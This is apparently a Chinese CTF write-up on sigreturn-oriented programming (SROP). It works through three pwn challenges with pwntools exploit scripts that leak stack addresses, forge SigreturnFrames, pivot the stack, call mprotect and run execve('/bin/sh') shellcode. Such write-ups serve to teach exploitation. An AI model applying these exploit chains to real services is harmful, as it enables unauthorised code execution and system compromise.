-
-
[原创]SROP
-
2022-4-30 19:18 8631
-
SROP
一:注意
小伙伴应该都看了很久的资料吧,其主要意思是通过系统调用来劫持程序流,我也不在这里多逼逼hhh。先说几点要注意的
1 2 3 | 1. 系统调用是内核态所做的事情 2.sigreturn 是系统调用,调用号在 64 位下位 15 (也就是说在没有sigreturn系统调用地址的时候,只有rax = 15 且具有syscall才能进行sigreturn系统调用) 3. 在写exp的时候,需要写该程序的arch(context.log_level = "amd64" ) |
二:题目详细介绍
1.ciscn_s_3
1.看ida
有read和write系统调用,有栈溢出,可以通过write来泄露/bin/sh地址,这样就方便了很多。
这有gadgets,分别是sigreturn的系统调用号和execve的系统调用号
2.泄露地址
顾名思义,就是泄露我们输入的数据在栈中的位置
1 2 3 4 5 6 | payload = "/bin/sh\x00" payload = payload.ljust( 0x10 , "\x00" ) + p64( 0x4004ed ) p.send(payload) p.recv( 0x20 ) binsh_addr = u64(p.recv( 8 )) - 280 # 0x00007fffffffde08 - 0x00007fffffffdcf0 = 280 print "binsh_addr = " + hex (binsh_addr) |
3.构造frame
这是最重要的部分,所以我会详细的说一下
1 2 3 4 5 6 | frame = SigreturnFrame() frame.rax = 59 #constants.SYS_execve frame.rdi = binsh_addr frame.rsi = 0 frame.rdx = 0 frame.rip = 0x400501 #syscall |
这就是构造的frame,当触发sigreturn系统调用后,rax=59,rdi=binsh_addr,rsi=0,rdx=0,rip=0x400501
这样就知道了把,sigreturn系统调用的作用就是恢复之前用户态寄存器的值。
1 2 | payload = "/bin/sh\x00" + p64( 0 ) + p64( 0x4004DA ) + p64( 0x400501 ) + str (frame) #mov rax,15 = 0x4004DA p.send(payload) |
传入payload之后,程序会执行0x4004DA,将rax赋值为15,然后执行0x400501即syscall,程序就会去栈中找到各个寄存器的值并pop到寄存器中,然后执行我们伪造的rip即syscall,达到getshell的目的
2.cstc2021 small
1.看ida
这题只有一个read系统调用,这就需要我们去伪造一个sigreturn系统调用然后让其pop给各个寄存器我们伪造的值
2.思路
第一步在frame中构造栈迁移和read系统调用
1 2 3 4 5 6 7 8 9 10 11 12 | frame = SigreturnFrame() #伪造 frame.rax = 0 frame.rdi = 0 frame.rsi = 0x402500 frame.rdx = 0x300 frame.rip = 0x40102B frame.rsp = 0x402500 frame.rbp = 0x402500 payload = "a" * 0x18 + p64(vuln) + p64( 0x40102B ) + str (frame) # syscall = 0x40102B p.send(payload) p.sendline( "a" * 14 ) # |
传入payload之后,程序执行vuln即重新执行read调用,我们输入14个a之后(我用的sendline,在最后一个a后会有换行符,所以相当于输入15个),rax=15,然后这时候填入栈中的0x40102B就进行了系统调用,pop出各个寄存器的值。此时rip是syscall,rax=0即调用read系统调用。
1 2 3 4 5 6 7 8 9 10 11 12 | frame = SigreturnFrame() frame.rax = 59 frame.rdi = 0x402500 frame.rip = 0x40102B frame.rsi = 0 frame.rdx = 0 payload = "\x00" * 8 + p64(vuln) + p64( 0x40102b ) + str (frame) p.sendline(payload) p.send( "q" * 8 + "/bin/sh" ) p.interactive() |
payload前八位是"\x00",因为执行完syscall(0x40102B),后续会pop rbp,然后ret回vuln函数再进行read系统调用,这个"q"*8是使rax=15,并且使/bin/sh正好在0x402500处。
这题与上题的区别就是,我们需要自己构造rax麻烦一点
3.smallest
这题很经典,我看了大概好几个月,这几个月中看了好几遍,有一个地方一直不太通,今天上午问了漫牛老师,终于明白了,漫牛老师yyds,同时感谢我最爱的琪giegie
下面给出三种exp
1.exp1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | from pwn import * context.log_level = "debug" p = process( "./smallest" ) context.arch = "amd64" def g(): gdb.attach(p) input () syscall = 0x4000BE main = 0x4000B0 payload1 = p64(main) * 3 p.send(payload1) p.send( "\xB3" ) #rax = 1 stack_addr = u64(p.recv()[ 8 : 16 ]) success( "stack_addr:" + hex (stack_addr)) frame = SigreturnFrame() frame.rax = 0 frame.rdi = 0 frame.rsi = stack_addr frame.rdx = 0x300 frame.rsp = stack_addr frame.rip = syscall payload2 = p64(main) + p64( 0 ) + str (frame) p.send(payload2) p.send(p64(syscall) + "a" * 7 ) #rax = 15 frame = SigreturnFrame() frame.rax = 59 frame.rdi = stack_addr + 0x200 # /bin/sh frame.rsi = 0 frame.rdx = 0 frame.rsp = stack_addr frame.rip = syscall payload3 = p64(main) + p64( 0 ) + str (frame) payload3 = payload3 + ( 0x200 - len (payload3)) * "a" + "/bin/sh\x00" p.send(payload3) p.send(p64(syscall) + "a" * 7 ) p.interactive() |
这几个月我一直不明白为什么要加p64(0),其实是因为防止调用sigreturn时所伪造的寄存器的值发生改变。
我画个图,这样比较好解释
2.exp2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | from pwn import * context.log_level = "debug" p = process( "./smallest" ) context.arch = "amd64" def g(): gdb.attach(p) input () syscall = 0x4000BE main = 0x4000B0 ret = 0x4000C0 payload1 = p64(main) * 3 p.send(payload1) p.send( "\xB3" ) #rax = 1 stack_addr = u64(p.recv()[ 8 : 16 ]) success( "stack_addr:" + hex (stack_addr)) frame = SigreturnFrame() frame.rax = 0 frame.rdi = 0 frame.rsi = stack_addr frame.rdx = 0x300 frame.rsp = stack_addr frame.rip = syscall payload2 = p64(main) + p64( 0 ) + p64( 0 ) + str (frame) ############## here p.send(payload2) p.send(p64(ret) + "\xBE\x00\x40\x00\x00\x00\x00" ) #rax = 15 here frame = SigreturnFrame() frame.rax = 59 frame.rdi = stack_addr + 0x200 # /bin/sh frame.rsi = 0 frame.rdx = 0 frame.rsp = stack_addr frame.rip = syscall payload3 = p64(main) + p64( 0 ) + p64( 0 ) + str (frame) payload3 = payload3 + ( 0x200 - len (payload3)) * "a" + "/bin/sh\x00" p.send(payload3) p.send(p64(ret) + "\xBE\x00\x40\x00\x00\x00\x00" ) p.interactive() |
3.exp3
思路是利用mprotect修改text段权限,传入shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | from pwn import * context.log_level = "debug" p = process( "./smallest" ) context.arch = "amd64" main = 0x4000B0 syscall = 0x4000BE ret = 0x4000C0 def g(): gdb.attach(p) input () frame = SigreturnFrame() frame.rax = constants.SYS_mprotect #10 frame.rdi = 0x400000 frame.rsi = 0x1000 frame.rdx = 7 frame.rsp = 0x400128 frame.rip = syscall payload1 = p64(main) + p64( 0 ) + str (frame) p.send(payload1) p.send(p64(syscall) + "a" * 7 ) #rax = 15 #mprotect finished shellcode = asm( ''' mov rax,59 mov rdi,0x68732f6e69622f xor rsi,rsi xor rdx,rdx push rdi mov rdi,rsp syscall ''' ) payload = p64( 0x400138 ) + shellcode p.send(payload) p.interactive() |